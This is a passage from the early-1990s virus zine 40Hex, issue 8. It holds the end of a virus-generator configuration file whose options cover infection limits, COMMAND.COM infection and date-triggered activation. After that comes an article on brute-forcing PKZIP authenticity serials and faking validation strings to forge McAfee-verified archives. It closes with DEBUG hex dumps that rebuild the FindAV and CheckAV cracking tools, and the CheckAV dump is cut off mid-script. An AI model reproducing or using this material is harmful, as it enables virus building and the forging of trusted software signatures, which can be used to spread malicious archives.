  1849.  
  1850. ; Infections = #
  1851. ; ([0]..255)
  1852. ; Infections is an optional counter limiting the number of infections per run
  1853. ; of the virus to a specific number.  Infections = 0 disables this option.
  1854. Infections = 0
  1855.  
  1856. ; ErrorHandler = <Y,N>
  1857. ; (Yes, [No])
  1858. ; ErrorHandler selects if you wish to include a short critical error handler
  1859. ; in the virus.  This handler prevents Abort, Retry, Fail messages by taking
  1860. ; over the critical error interrupt.  Attempted infection of files on write-
  1861. ; protected diskettes will not generate an error if this option is set.
  1862. ErrorHandler = Y
  1863.  
  1864. ; CommandCom = <Y,N>
  1865. ; (Yes, [No])
  1866. ; This flag indicates whether you wish the virus to infect COMMAND.COM
  1867. ; 'Yes' turns off the check for COMMAND.COM, thus saving space.
  1868. CommandCom = N
  1869.  
  1870. ; VirusName = <string>
  1871. ; The only limitation to the string is that you may not use both the single
  1872. ; and double quotes together in the string, i.e. the string B'li"p is not
  1873. ; legal.
  1874. VirusName = [Skeleton]
  1875.  
  1876. ; AuthorName = <string>
  1877. ; The same constraints apply to AuthorName.
  1878. AuthorName = Deke
  1879.  
  1880. ; AllowZero = <Y,N>
  1881. ; (Yes, [No])
  1882. ; This flags whether the virus will allow an encryption value of 0, which
  1883. ; would effectively leave it in an unencrypted state.  'Yes' disables the
  1884. ; zero check, thereby shortening code length.
  1885. AllowZero = N
  1886.  
  1887. ; Activation Conditions
  1888. ; All conditions must be satisfied for activation to occur
  1889.  
  1890. ; Always = <Y,N>
  1891. ; (Yes, [No])
  1892. ; This flags whether the virus always activates, although I can't imagine a
  1893. ; useful virus that does so.
  1894. ; Always = N
  1895.  
  1896. ; IfMonth = #
  1897. ; <1..12><-,+>
  1898. ; Activate if the month is equal to the specified number.  Adding a minus sign
  1899. ; after the month indicates activation before or during the specified month.
  1900. ; Adding a plus sign after the month indicates activation during or after the
  1901. ; specified month.
  1902. ; IfMonth = 11+    ; Activate in either November or December
  1903.  
  1904. ; IfDay = #
  1905. ; <1..31><-,+>
  1906. ; Activate if the date is on a certain date  Adding a minus sign after the day
  1907. ; indicates activation on or before that day.  Similarly, adding a plus sign
  1908. ; indicates activation on or after that day.  Note: the program does not check
  1909. ; to see if the number inputted is a valid date.  For example, combining
  1910. ; IfMonth=2 and IfDay=30+ will NOT result in an error, although the virus will
  1911. ; clearly never activate.
  1912. ; IfDay = 15+         ; Activate after the fifteenth of the month
  1913.  
  1914. ; IfYear = #
  1915. ; <0..65535><-,+>
  1916. ; Activate during a certain year or years.  Don't be stupid and put a
  1917. ; ridiculous year such as 1-.
  1918. ; IfYear = 1993+      ; Activate after 1993
  1919.  
  1920. ; IfDOW = #
  1921. ; <0..6><-,+>
  1922. ; 0 = Sunday, 1 = Monday, etc.
  1923. ; Activate on, before, or after a particular day of the week.
  1924. ; IfDOW = 0            ; Activate only on Sundays
  1925.  
  1926. ; IfMonthDay = #,#
  1927. ; <#,#><-,+>
  1928. ; Activate on, before, or after a particular day of the year.  This differs
  1929. ; from the combination of IfMonth and IfDay.
  1930. ; IfMonthDay = 5,9+    ; Activate only after May 9th
  1931. ; compare to:
  1932. ; IfMonth = 5+         ; Activate in May through December, but only if the
  1933. ; IfDay   = 9+         ; day is on or after the 8th.  July 1st is NOT an
  1934.                ; activation date
  1935.  
  1936. ; IfHour = #
  1937. ; <0..23><-,+>
  1938. ; This should be self-explanatory at this point.
  1939. ; IfHour = 12          ; Activate any time from 12 noon -> 1 P.M.
  1940.  
  1941. ; IfMinute = #
  1942. ; <0..59><-,+>
  1943. ; Duh.
  1944. ; IfMinute = 30+
  1945.  
  1946. ; IfSecond = #
  1947. ; <0..59><-,+>  ;; check 0
  1948. ; This is somewhat useless, in my estimation
  1949. ; IfSecond = 30+
  1950.  
  1951. ; Percentage = #
  1952. ; <1..99>
  1953. ; This uses the 1/100 second counter as a random number.  If the counter is
  1954. ; less than the percentage, then the virus will activate.
  1955. ; Percentage = 50      ; Even odds
  1956. --------------------------------- Stop Cutting --------------------------------
  1957.  
  1958. 40Hex Number 8 Volume 2 Issue 4                                       File 002
  1959.  
  1960. -=-=-=-=-=-=-
  1961.         Eat PUTAV
  1962.           by Demogorgon of PHALCON/SKISM
  1963. -=-=-=-=-=-=-
  1964.  
  1965.  
  1966.      Even though pk-zip 2.0 will be out soon and all the methods in
  1967. this article will be obsolete, I decided to write about them anyway.  I
  1968. am sure you are familiar with the old program called makeav, which
  1969. attempted to brute force hack pkzip registration serial numbers.  Sure,
  1970. it worked, but it was quite slow.  Then, Hal released the program
  1971. findav, which did the same task several thousand times faster.  Dark
  1972. Angel took apart the program findav in order to make a few
  1973. modifications.  Naturally, Hal included several routines in his code in
  1974. order to make it very difficult to take apart.  Dark Angel captured a
  1975. memory image of findav after it loaded into memory, wrote it back to
  1976. disk as a com file, and then changed all of the offsets so that all
  1977. references to the data segment were changed to their address in the code
  1978. segment.  Dark Angel made several modifications, the most important of
  1979. which was so that findav would not quit out after finding a serial
  1980. number.  The new version finds every serial number, and logs them to
  1981. disk.
  1982.  
  1983. -=-=-=-=-=-=-
  1984.     An Experiment in Distributed Processing
  1985. -=-=-=-=-=-=-
  1986.  
  1987.      The next day, Garbageheap and I took the modified findav down to
  1988. the nearest university.  We started it running on twenty 80386 systems
  1989. on their network, each working on a different segment of the 4 billion
  1990. possible serial numbers.  The goal was to find every serial number that
  1991. worked for McAfee Associates, so that we could then determine which one
  1992. was the one he uses.  When an authenticity verified pkzip file is
  1993. extracted, pkunzip generates a 3 letter, 3 number validation string that
  1994. is dependent on the serial number used to validate it.  A single
  1995. registration name has millions of valid serial numbers, but each of
  1996. these serial numbers has one unique validation string.
  1997.  For Example:
  1998.  
  1999. PKUNZIP (R)    FAST!    Extract Utility    Version 1.1    03-15-90
  2000. Copr. 1989-1990 PKWARE Inc. All Rights Reserved. PKUNZIP/h for help
  2001. PKUNZIP Reg. U.S. Pat. and Tm. Off.
  2002.  
  2003. Searching ZIP: EARLOBE.ZIP
  2004.   Exploding: NUL           -AV
  2005.  
  2006. Authentic files Verified!   # ATU314   Zip Source: McAFEE ASSOCIATES
  2007.                   ^^^^^^
  2008.  
  2009. PKUNZIP (R)    FAST!    Extract Utility    Version 1.1    03-15-90
  2010. Copr. 1989-1990 PKWARE Inc. All Rights Reserved. PKUNZIP/h for help
  2011. PKUNZIP Reg. U.S. Pat. and Tm. Off.
  2012.  
  2013. Searching ZIP: EARLOBE.ZIP
  2014.   Exploding: NUL           -AV
  2015.  
  2016. Authentic files Verified!   # SXQ414   Zip Source: McAFEE ASSOCIATES
  2017.                   ^^^^^^
  2018.  
  2019.      Therefore, the task was to find which of the serial numbers we had
  2020. found for McAfee produces the validation string "NWN405".  To do this,
  2021. we ran every serial number through a program called checkav which Dark
  2022. Angel wrote to determine what validation number corresponds to which
  2023. serial number.  Of course, a task like this would be nearly impossible
  2024. on your machine at home, but thanks to my local university, we were able
  2025. to use twenty machines at once.
  2026.  
  2027.  
  2028. -=-=-=-=-=-=-
  2029.     Yet Another Way To Eat PUTAV
  2030. -=-=-=-=-=-=-
  2031.      Because there is never only one way to do something, I decided to
  2032. put in another way to get whatever validation string you want out of
  2033. pkzip.  All you need to do is include some ^H characters in your
  2034. registration name to backspace over the validation string and create a
  2035. new one.  Naturally, you can not enter ^H characters when you run
  2036. putav, so you enter the correct number of some other character, go
  2037. into memory with td, and change them to 08h, the ^H character.  That
  2038. way, when pkunzip runs and gives you a validation string, it will
  2039. backspace over it and show your own.  For example:
  2040.  
  2041. >>>>> PUTAV.EXE
  2042.  
  2043. PUTAV - Put Authenticity Verification in PKZIP.EXE
  2044. Copyright 1990 PKWARE, Inc.  All rights reserved.
  2045.  
  2046. Enter company name exactly as it appears on the PKWARE documentation.
  2047. Company Name : ^A^A^A^A^A^A^A^A^A^A^A# BOB666   Earlobe industries
  2048. Enter serial number exactly as it appears on the PKWARE documentation.
  2049. Serial Number: 23453244
  2050.  
  2051. >>>>>
  2052.  
  2053.      After typing earlobe industries and hitting return, break into
  2054. turbo debug and change the ^A's (01) to ^H's (08).  Remember to put in
  2055. 11 backspaces.  You can use the same method to find the serial number for
  2056. your string with findav.
  2057.  
  2058.      The only useful application of all this is to duplicate an existing
  2059. pkzip registration.  You could do that before, but now you can do it
  2060. better.  Changing the validation string only really makes a difference
  2061. if you are trying to duplicate an archive that is known to have a certain
  2062. one, like McAfee's.
  2063. 40Hex Number 8 Volume 2 Issue 4                                       File 003
  2064.  
  2065.  
  2066.          -=PHALCON/SKISM=- Presents FindAv P/S Style!
  2067.          PD War Collection Program 2
  2068.               By Hal Of Pheonix
  2069.               Modified by: Dark Angel of PHALCON/SKISM
  2070.  
  2071. FindAV version 1.5
  2072. Released 27 Jul 92
  2073. By Dark Angel of PHALCON/SKISM
  2074.  
  2075. In the beginning, there was MakeAV and all its counterparts.  These programs
  2076. used a brute-force approach to find PKZIP serial numbers.  They ran PUTAV,
  2077. PKZIP, and PKUNZIP repeatedly until a legitimate serial number was found.
  2078. Although they worked, these programs required hours, often days of running, as
  2079. well as much wear and tear on the hard drive head.  Then FindAV was released
  2080. by HAL of PHOENIX.
  2081.  
  2082. FindAV was many, many times faster than MakeAV.  Instead of running the PKWare
  2083. files over and over again, FindAV used an algorithmic approach similar to the
  2084. one used by PKWare when calculating serial numbers for registered clients.  It
  2085. was a marvelous program, but it, too, had its limitations.  The continual
  2086. display of numbers was aesthetically pleasing, but it took much valuable
  2087. processor time, slowing down the search for the holy serial number.  E-FindAV
  2088. was released, once again speeding the search time by a large factor.  E-FindAV
  2089. monitored the running of FindAV, turning off the display until the serial
  2090. number was found.  This was a tremendous improvement.  However, the user had
  2091. to sit through a tedious, lengthy, entirely unecessary introduction screen
  2092. before E-FindAV would execute FindAV. This was unacceptable.  Additionally,
  2093. E-FindAV failed to fix some fundamental problems with FindAV.
  2094.  
  2095. For one, FindAV stopped after finding the first serial number.  While this is
  2096. fine for most people, it is not desirable when finding existing serial
  2097. number/validation string combinations.  Second, FindAV had a few bugs.  The
  2098. first bug occured only in 386 mode.  FindAV would "miss" some legitimate
  2099. serial numbers which it would catch in 8086 mode.  This was, once again,
  2100. undesirable when looking for existing serial number/validation string
  2101. combinations.  FindAV would also run into an infinite loop in certain
  2102. instances in 8086 mode.  This, too, was unacceptable.  Third, FindAV would not
  2103. log the serial numbers found in a file. Thus, the user had to manually copy
  2104. the number onto a sheet of paper and transfer it to a file for later
  2105. reference.  Fourth, FindAV would not let the user start searching for a serial
  2106. number from any number except 1000.  If the user wished to find starting from,
  2107. say, 2 billion, he or she would be forced to create a MAKEAV.DAT file and
  2108. hex-edit the appropriate values.  Last, both FindAV and E-FindAV used
  2109. rudimentary disassembly-proof code which precluded users from adding features
  2110. to the program.
  2111.  
  2112. FindAV version 1.5 fixes these problems.  It is essentially the same program
  2113. as the originally released version by HAL of PHOENIX, but with all the fixes
  2114. and enhancements mentioned above.
  2115.  
  2116. Command line options:
  2117. /B - begin at number
  2118. You can now start the search from any number, be it 0, 4,294,967,295 or
  2119. anything in between.  This serves several purposes.  Should the data file be
  2120. corrupted, it is not necessary to hexedit the data file to restart from the
  2121. last position.  This option also facilitates the coordinated running of FindAV
  2122. on multiple machines.  In this manner, each machine can start the search at a
  2123. different point.  The value following the /B overrides the value in the
  2124. FindAV.DAT data file.
  2125.  
  2126. Syntax:
  2127.     FindAV /B ###
  2128. Example:
  2129.     FindAV /B 478293
  2130.  
  2131. /S - supress output
  2132. Searches may be expedited somewhat with this supress output option.  This
  2133. eliminates the unecessary on-screen reporting of a sucessful finding.  Logging
  2134. via the AVS.DAT file is preserved.  The 'D'isplay command continues to function
  2135. under this mode.
  2136.  
  2137. Syntax:
  2138.     FindAV /S
  2139.  
  2140. Valid keystrokes in FindAV:
  2141. ESC - Terminate calculation
  2142. Pressing the ESC key causes FindAV to terminate after saving the status of the
  2143. run in FindAV.DAT.
  2144.  
  2145. 'D' - Display
  2146. Pressing the 'D' key causes FindAV to display the current search number on the
  2147. screen.  This function was originally part of the main loop.  However, it
  2148. consumed countless clock cycles, so it was eliminated to save precious time.
  2149.  
  2150. Files created by FindAV 1.5:
  2151. AVS.DAT - log file
  2152. The AVS.DAT file is created by FindAV.  FindAV uses this file to record all
  2153. sucessful serial number finds.  It consists of the company name followed by
  2154. multiple lines of serial numbers.  If FindAV detects the file in the directory,
  2155. it will append serial numbers to the end.
  2156.  
  2157. FINDAV.DAT - save file
  2158. The FindAV.DAT file is created by FindAV when the user terminates calculation.  It contains the company name as well as the current search number.  It is useful when the user does not wish to search an entire range in one running.  FindAV will automatically resume operation if it detects FindAV in the current directory.
  2159. FindAV 1.5 has data file compatability with version 1.0.
  2160.  
  2161. Revision history:
  2162. 1.0 - Unknown - HAL of PHOENIX
  2163.     - initial release
  2164.  
  2165. 1.5 - 27 Jul 92 - Dark Angel of PHALCON/SKISM
  2166.     - Bug fixes, peephole optimisation, log file, nonstop action, anynumber
  2167.       begin.
  2168. -------------------------------------------------------------------------------
  2169. n findav15.com
  2170. e 0100  E8 B8 02 74 03 E8 09 00 E8 01 04 B4 4C CD 21 6C
  2171. e 0110  01 E8 44 01 75 0F E8 D5 00 BA D9 06 E8 27 04 E8
  2172. e 0120  5F 00 E8 84 00 E8 13 00 72 10 BF 06 06 2E FF 16
  2173. e 0130  0F 01 73 DD BA F2 06 E8 0C 04 C3 B4 01 CD 16 74
  2174. e 0140  1E 2A E4 CD 16 3C 64 74 13 3C 44 74 0F 3C 1B 75
  2175. e 0150  0E BA 61 07 E8 EF 03 E8 F1 03 F9 C3 E8 1F 00 F8
  2176. e 0160  C3 66 83 3D FF 74 15 66 FF 05 F8 C3 8B 05 8B 55
  2177. e 0170  02 40 75 03 42 74 05 AB 92 AB F8 C3 F9 C3 E8 6D
  2178. e 0180  00 E8 5F 00 BA AD 07 E8 BC 03 C3 B8 01 3D BA 7B
  2179. e 0190  08 CD 21 93 C3 BA D5 07 E8 AB 03 E9 6A FF B4 40
  2180. e 01A0  BA D0 07 B9 02 00 CD 21 C3 E8 DF FF 73 1B B4 3C
  2181. e 01B0  33 C9 CD 21 72 DF E8 D2 FF B4 40 8A 0E 13 06 B5
  2182. e 01C0  00 BA 14 06 CD 21 E8 D5 FF B8 02 42 33 C9 99 CD
  2183. e 01D0  21 B4 40 B9 0B 00 BA B5 07 CD 21 E8 C0 FF B4 3E
  2184. e 01E0  CD 21 C3 B4 02 32 FF 8B 16 49 06 CD 10 C3 FD BF
  2185. e 01F0  BF 07 B9 0A 00 80 3E 05 06 00 74 24 66 A1 06 06
  2186. e 0200  66 BB 0A 00 00 00 66 33 D2 66 0B C0 75 06 B0 20
  2187. e 0210  F3 AA FC C3 66 F7 F3 92 04 30 AA 92 E2 E8 FC C3
  2188. e 0220  88 0E C2 07 A1 06 06 8B 16 08 06 EB 06 8B 46 02
  2189. e 0230  8B 56 04 0B C0 75 08 0B D2 75 04 B0 20 EB 10 6A
  2190. e 0240  0A 52 50 E8 3C 01 89 4E 04 89 46 02 92 04 30 AA
  2191. e 0250  FE 0E C2 07 75 D7 FC C3 E8 3E 01 E8 D8 00 75 07
  2192. e 0260  E8 05 00 75 02 32 C0 C3 BF 0A 06 C7 06 C1 07 00
  2193. e 0270  0A 80 3E 05 06 00 74 24 66 8B 05 66 C1 C8 10 66
  2194. e 0280  B9 0A 00 00 00 66 0B C0 74 50 66 33 D2 66 F7 F1
  2195. e 0290  00 16 C1 07 FE 0E C2 07 75 EB EB 3E C7 45 04 9A
  2196. e 02A0  3B C7 45 06 00 CA FF 75 04 FF 75 06 FF 35 FF 75
  2197. e 02B0  02 E8 2C 00 6A 0A 52 50 E8 C7 00 00 16 C1 07 B8
  2198. e 02C0  0A 00 99 52 50 FF 75 04 FF 75 06 E8 12 00 89 55
  2199. e 02D0  04 89 45 06 FE 0E C2 07 75 CC 80 3E C1 07 3E C3
  2200. e 02E0  55 8B EC 8B 4E 0A E3 38 8B 5E 08 8B 56 06 8B 46
  2201. e 02F0  04 D1 E9 D1 DB D1 EA D1 D8 0B C9 75 F4 F7 F3 8B
  2202. e 0300  F0 F7 66 0A 91 8B 46 08 F7 E6 03 D1 72 0C 3B 56
  2203. e 0310  06 77 07 72 06 3B 46 04 76 01 4E 33 D2 96 EB 12
  2204. e 0320  8B 4E 08 8B 46 06 33 D2 F7 F1 8B 5E 04 93 F7 F1
  2205. e 0330  8B D3 5D C2 08 00 B9 07 00 BB 9D 00 BF 0A 06 EB
  2206. e 0340  1E 80 3E 05 06 00 74 17 66 D3 0D 66 8B 05 66 33
  2207. e 0350  D2 F7 F3 66 C1 C8 10 66 83 E8 1A F7 F3 EB 20 8B
  2208. e 0360  15 8B 45 02 8B F0 D1 EE D1 DA D1 D8 E2 F8 89 15
  2209. e 0370  89 45 02 2D 1A 00 83 DA 00 53 52 50 E8 03 00 0B
  2210. e 0380  D2 C3 55 8B EC 8B 5E 08 8B 46 06 33 D2 F7 F3 8B
  2211. e 0390  4E 04 91 F7 F3 5D C2 06 00 BE 06 06 AD 89 44 02
  2212. e 03A0  AD 89 44 02 BE 14 06 32 ED 8A 0E 13 06 33 DB AC
  2213. e 03B0  30 87 0A 06 43 80 E3 03 E2 F5 C3 BA 4B 06 E8 85
  2214. e 03C0  01 E8 48 01 E8 0A 02 E8 22 00 E8 D4 00 80 3E 13
  2215. e 03D0  06 00 75 03 E8 5B 01 33 F6 E8 37 01 80 3E 13 06
  2216. e 03E0  00 75 08 BA 41 07 E8 5D 01 32 C0 C3 BE 81 00 AC
  2217. e 03F0  3C 0D 74 37 3C 2F 75 F7 AC E8 86 00 3C 53 75 13
  2218. e 0400  B8 90 00 BF 19 01 B9 09 00 F3 AA BA 83 08 E8 35
  2219. e 0410  01 EB DC 3C 42 74 15 3C 3F 75 05 BA 0E 09 EB 5D
  2220. e 0420  A2 0A 09 BA F6 08 E8 1D 01 EB C4 C3 32 E4 33 DB
  2221. e 0430  B9 0A 00 99 AC E8 62 00 74 FA E8 50 00 74 05 BA
  2222. e 0440  A3 08 EB 39 50 92 F7 E1 50 93 F7 E1 5B 03 D3 5B
  2223. e 0450  03 C3 83 D2 00 93 AC E8 33 00 74 E8 4E 89 1E 06
  2224. e 0460  06 89 16 08 06 E8 86 FD BA E2 08 E8 D8 00 BA B3
  2225. e 0470  07 E8 D2 00 BA D2 07 E8 CC 00 E9 72 FF E8 C6 00
  2226. e 0480  CD 20 3C 61 7C 06 3C 7A 7F 02 04 E0 C3 3C 30 7C
  2227. e 0490  08 3C 39 7F 04 2C 30 3A C0 C3 3C 20 74 02 3C 3D
  2228. e 04A0  C3 E8 D3 00 72 65 BA 51 08 E8 9A 00 B9 05 00 E8
  2229. e 04B0  DA 00 72 54 8B F2 AD 3D 41 56 75 46 AD 3D 31 30
  2230. e 04C0  75 40 BA 14 06 8A 0C E8 C2 00 72 3C 83 3E 08 06
  2231. e 04D0  00 75 12 81 3E 06 06 E8 03 75 0A BA 06 06 B1 04
  2232. e 04E0  E8 A9 00 72 1D AC A2 13 06 98 91 BE 14 06 BF 31
  2233. e 04F0  08 F3 A4 B8 0D 0A AB B0 24 AA BA 21 08 E8 46 00
  2234. e 0500  EB 06 BA 31 08 E8 3E 00 E8 78 00 C3 BE 01 00 E8
  2235. e 0510  01 00 C3 E8 11 00 B4 01 0B F6 75 05 80 CD 20 EB
  2236. e 0520  03 80 E5 DF CD 10 C3 B4 03 32 FF CD 10 89 16 49
  2237. e 0530  06 C3 BA 98 07 E8 0E 00 B4 0A BA 12 06 CD 21 BA
  2238. e 0540  D0 07 E8 01 00 C3 B4 09 CD 21 C3 E8 6C 00 72 26
  2239. e 0550  BF 4B 06 B8 41 56 AB B8 31 30 AB BE 13 06 AC AA
  2240. e 0560  98 8B C8 F3 A4 BE 06 06 A5 A5 04 09 91 BA 4B 06
  2241. e 0570  E8 31 00 E8 0D 00 C3 B8 00 3D BA C3 07 CD 21 A3
  2242. e 0580  CE 07 C3 B4 3E 8B 1E CE 07 CD 21 C3 B4 3F 8B 1E
  2243. e 0590  CE 07 CD 21 72 06 3B C1 75 02 F8 C3 BA 06 08 E8
  2244. e 05A0  A4 FF F9 C3 B4 40 8B 1E CE 07 CD 21 73 0B 3B C1
  2245. e 05B0  74 07 BA EE 07 E8 8E FF F9 C3 B4 3C 33 C9 BA C3
  2246. e 05C0  07 CD 21 73 08 BA D5 07 E8 7B FF F9 C3 A3 CE 07
  2247. e 05D0  C3 9C 58 25 FF 0F 50 9D 9C 58 25 00 F0 3D 00 F0
  2248. e 05E0  74 22 9C 58 0D 00 70 50 9D 9C 58 25 00 70 3D 00
  2249. e 05F0  70 75 11 FE 06 05 06 2E C7 06 0F 01 61 01 BA 2E
  2250. e 0600  07 E8 42 FF C3 00 E8 03 00 00 00 00 00 00 00 00
  2251. e 0610  00 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00
  2252. e 0620  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  2253. e 0630  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  2254. e 0640  00 00 00 00 00 00 00 00 00 00 00 50 72 6F 67 72
  2255. e 0650  61 6D 20 74 6F 20 66 69 6E 64 20 73 65 72 69 61
  2256. e 0660  6C 20 23 20 66 6F 72 20 41 56 20 20 76 65 72 20
  2257. e 0670  31 2E 35 0D 0A 76 65 72 20 31 2E 30 20 3C 20 62
  2258. e 0680  79 20 48 41 4C 20 66 6F 72 20 50 48 4F 45 4E 49
  2259. e 0690  58 20 3E 0D 0A 76 65 72 20 31 2E 35 20 62 79 20
  2260. e 06A0  44 61 72 6B 20 41 6E 67 65 6C 20 6F 66 20 50 48
  2261. e 06B0  41 4C 43 4F 4E 2F 53 4B 49 53 4D 0D 0A 50 72 65
  2262. e 06C0  73 73 20 45 53 43 20 74 6F 20 65 78 69 74 20 70
  2263. e 06D0  72 6F 67 72 61 6D 0D 0A 24 0D 0A 53 65 72 69 61
  2264. e 06E0  6C 20 6E 75 6D 62 65 72 20 66 6F 75 6E 64 21 0D
  2265. e 06F0  0A 24 0D 0A 46 69 6E 64 41 56 20 63 6F 6D 70 6C
  2266. e 0700  65 74 65 64 2E 20 20 4E 6F 20 6D 6F 72 65 20 73
  2267. e 0710  65 72 69 61 6C 20 6E 75 6D 62 65 72 73 20 6D 61
  2268. e 0720  79 20 62 65 20 66 6F 75 6E 64 2E 0D 0A 24 33 38
  2269. e 0730  36 20 43 50 55 20 64 65 74 65 63 74 65 64 0D 0A
  2270. e 0740  24 4E 6F 20 69 6E 70 75 74 2C 20 61 62 6F 72 74
  2271. e 0750  69 6E 67 20 6F 70 65 72 61 74 69 6F 6E 21 0D 0A
  2272. e 0760  24 0D 0A 45 53 43 20 6B 65 79 20 64 65 74 65 63
  2273. e 0770  74 65 64 2C 20 73 61 76 69 6E 67 20 46 49 4E 44
  2274. e 0780  41 56 2E 44 41 54 20 61 6E 64 20 65 78 69 74 69
  2275. e 0790  6E 67 2E 2E 2E 0D 0A 24 45 6E 74 65 72 20 63 6F
  2276. e 07A0  6D 70 61 6E 79 20 6E 61 6D 65 3A 20 24 54 72 79
  2277. e 07B0  69 6E 67 20 23 20 20 20 20 20 20 20 20 20 20 20
  2278. e 07C0  24 00 00 46 49 4E 44 41 56 2E 44 41 54 00 00 00
  2279. e 07D0  0D 0A 0D 0A 24 0D 0A 45 72 72 6F 72 20 63 72 65
  2280. e 07E0  61 74 69 6E 67 20 66 69 6C 65 21 0D 0A 24 0D 0A
  2281. e 07F0  45 72 72 6F 72 20 77 72 69 74 69 6E 67 20 66 69
  2282. e 0800  6C 65 21 0D 0A 24 0D 0A 45 72 72 6F 72 20 69 6E
  2283. e 0810  20 72 65 61 64 69 6E 67 20 66 69 6C 65 21 0D 0A
  2284. e 0820  24 43 6F 6E 74 69 6E 75 69 6E 67 20 66 6F 72 3A
  2285. e 0830  20 42 61 64 20 66 69 6C 65 20 68 65 61 64 65 72
  2286. e 0840  20 69 6E 20 46 49 4E 44 41 56 2E 44 41 54 0D 0A
  2287. e 0850  24 46 49 4E 44 41 56 2E 44 41 54 20 64 65 74 65
  2288. e 0860  63 74 65 64 2C 20 72 65 61 64 69 6E 67 20 69 6E
  2289. e 0870  20 64 61 74 61 2E 2E 2E 0D 0A 24 41 56 53 2E 44
  2290. e 0880  41 54 00 53 75 70 70 72 65 73 73 69 6F 6E 20 6F
  2291. e 0890  66 20 6F 75 74 70 75 74 20 61 63 74 69 76 65 2E
  2292. e 08A0  0D 0A 24 46 61 74 61 6C 20 65 72 72 6F 72 20 69
  2293. e 08B0  6E 20 70 61 72 61 6D 65 74 65 72 20 42 45 47 49
  2294. e 08C0  4E 2E 0D 0A 50 72 6F 70 65 72 20 75 73 61 67 65
  2295. e 08D0  3A 20 2F 42 20 23 23 23 23 23 23 23 23 23 23 0D
  2296. e 08E0  0A 24 42 65 67 69 6E 6E 69 6E 67 20 73 65 61 72
  2297. e 08F0  63 68 20 61 74 24 55 6E 6B 6E 6F 77 6E 20 70 61
  2298. e 0900  72 61 6D 65 74 65 72 3A 20 2F 00 0D 0A 24 50 61
  2299. e 0910  72 61 6D 65 74 65 72 73 20 61 72 65 3A 0D 0A 2F
  2300. e 0920  3F 20 20 20 20 20 20 20 20 20 20 44 69 73 70 6C
  2301. e 0930  61 79 20 74 68 69 73 20 73 63 72 65 65 6E 0D 0A
  2302. e 0940  2F 42 20 23 23 23 23 23 20 20 20 20 42 65 67 69
  2303. e 0950  6E 20 61 74 20 23 23 23 23 23 0D 0A 2F 53 20 20
  2304. e 0960  20 20 20 20 20 20 20 20 73 75 70 70 72 65 73 73
  2305. e 0970  20 6F 75 74 70 75 74 0D 0A 24 1A 1A 1A 1A 1A 1A
  2306. rcx
  2307. 097F
  2308. w
  2309. q
  2310. -------------------------------------------------------------------------------
  2311. 40Hex Number 8 Volume 2 Issue 4                                       File 004
  2312.  
  2313.          -=PHALCON/SKISM=- Presents CheckAv
  2314.              PD War Collection Program 3
  2315.               By Dark Angel
  2316.  
  2317.     Once again, not an incredibly impressive program, but it is still
  2318. quite useful.  It PutAv's a serial number, pkzips a test file, with the
  2319. pkzip -! option, then unzips it.  It logs the line that has serial
  2320. number.  This program requires pkzip, pkunzip, putav and avs.dat from
  2321. findav15.
  2322.     It is a very crude program, but it was done in quite a hurry, as
  2323. I am going away for a while.  Run it in a RAM disk, as it is much
  2324. better!
  2325.  
  2326. -------------------------------------------------------------------------------
  2327. n checkav.com
  2328. e 0100  BA F7 02 B4 4A BB 00 10 CD 21 72 34 BA 83 02 E8
  2329. e 0110  6C 01 BA 14 03 E8 66 01 B4 0A BA 9A 04 CD 21 BA
  2330. e 0120  3C 03 80 3E 9A 04 00 74 76 BB 9C 04 8B D3 A0 9B
  2331. e 0130  04 98 03 D8 C6 07 00 B8 00 3D CD 21 BA 5E 03 93
  2332. e 0140  72 5D B4 3F B9 3C 00 BA BC 04 CD 21 87 D7 BA 7D
  2333. e 0150  03 0B C0 74 4A B8 00 42 33 C9 99 CD 21 FC BA 9F
  2334. e 0160  03 B9 3C 00 B0 0D F2 AE 0B C9 74 33 BA D3 03 E8
  2335. e 0170  0C 01 4F C6 05 24 BA BC 04 E8 02 01 C6 05 0D 8B
  2336. e 0180  D7 81 EA BA 04 89 16 F8 04 B8 00 42 33 C9 CD 21
  2337. e 0190  BA D6 02 E8 E8 00 BA 82 04 E8 BA 00 E8 13 00 E8
  2338. e 01A0  DC 00 B4 41 BA 8A 04 CD 21 B4 41 BA 8F 04 CD 21
  2339. e 01B0  CD 20 B4 3F B9 0D 00 BA EF 03 CD 21 0B C0 74 3A
  2340. e 01C0  BA E5 03 E8 B8 00 E8 A2 00 E8 32 00 BE EF 03 BF
  2341. e 01D0  09 04 B9 0B 00 F3 A4 BE 03 04 E8 52 00 E8 8B 00
  2342. e 01E0  BE 20 04 E8 49 00 E8 82 00 BE 34 04 E8 40 00 E8
  2343. e 01F0  79 00 BE 51 04 E8 37 00 EB B8 BA B8 03 C3 53 B4
  2344. e 0200  3C BA FE 03 33 C9 CD 21 93 B4 40 8B 0E F8 04 49
  2345. e 0210  BA BC 04 CD 21 B4 40 B9 0C 00 BA EF 03 CD 21 B4
  2346. e 0220  40 B9 01 00 BA FD 03 CD 21 B4 3E CD 21 5B C3 50
  2347. e 0230  53 51 52 1E 06 55 57 89 26 FC 04 8C 16 FA 04 CD
  2348. e 0240  2E FA 2E 8E 16 FA 04 2E 8B 26 FC 04 FB 5F 5D 07
  2349. e 0250  1F 5A 59 5B 58 C3 53 B8 00 3D CD 21 73 06 B4 3C
  2350. e 0260  33 C9 CD 21 93 B4 3E CD 21 5B C3 B4 06 B2 FF CD
  2351. e 0270  21 74 0A 3C 1B 75 06 BA D9 02 E9 22 FF C3 B4 09
  2352. e 0280  CD 21 C3 43 68 65 63 6B 41 56 20 76 65 72 73 69
  2353. e 0290  6F 6E 20 31 2E 30 0D 0A 62 79 20 44 61 72 6B 20
  2354. e 02A0  41 6E 67 65 6C 20 6F 66 20 50 48 41 4C 43 4F 4E
  2355. e 02B0  2F 53 4B 49 53 4D 0D 0A 50 72 65 73 73 20 45 53
  2356. e 02C0  43 20 74 6F 20 61 62 6F 72 74 20 61 74 20 61 6E
  2357. e 02D0  79 20 74 69 6D 65 0D 0A 24 45 53 43 61 70 65 20
  2358. e 02E0  64 65 74 65 63 74 65 64 2E 20 20 41 62 6F 72 74
  2359. e 02F0  69 6E 67 2E 0D 0A 24 45 72 72 6F 72 20 72 65 61
  2360. e 0300  6C 6C 6F 63 61 74 69 6E 67 20 6D 65 6D 6F 72 79
  2361. e 0310  2E 0D 0A 24 45 6E 74 65 72 20 74 68 65 20 6E 61
  2362. e 0320  6D 65 20 6F 66 20 74 68 65 20 66 69 6C 65 20 74
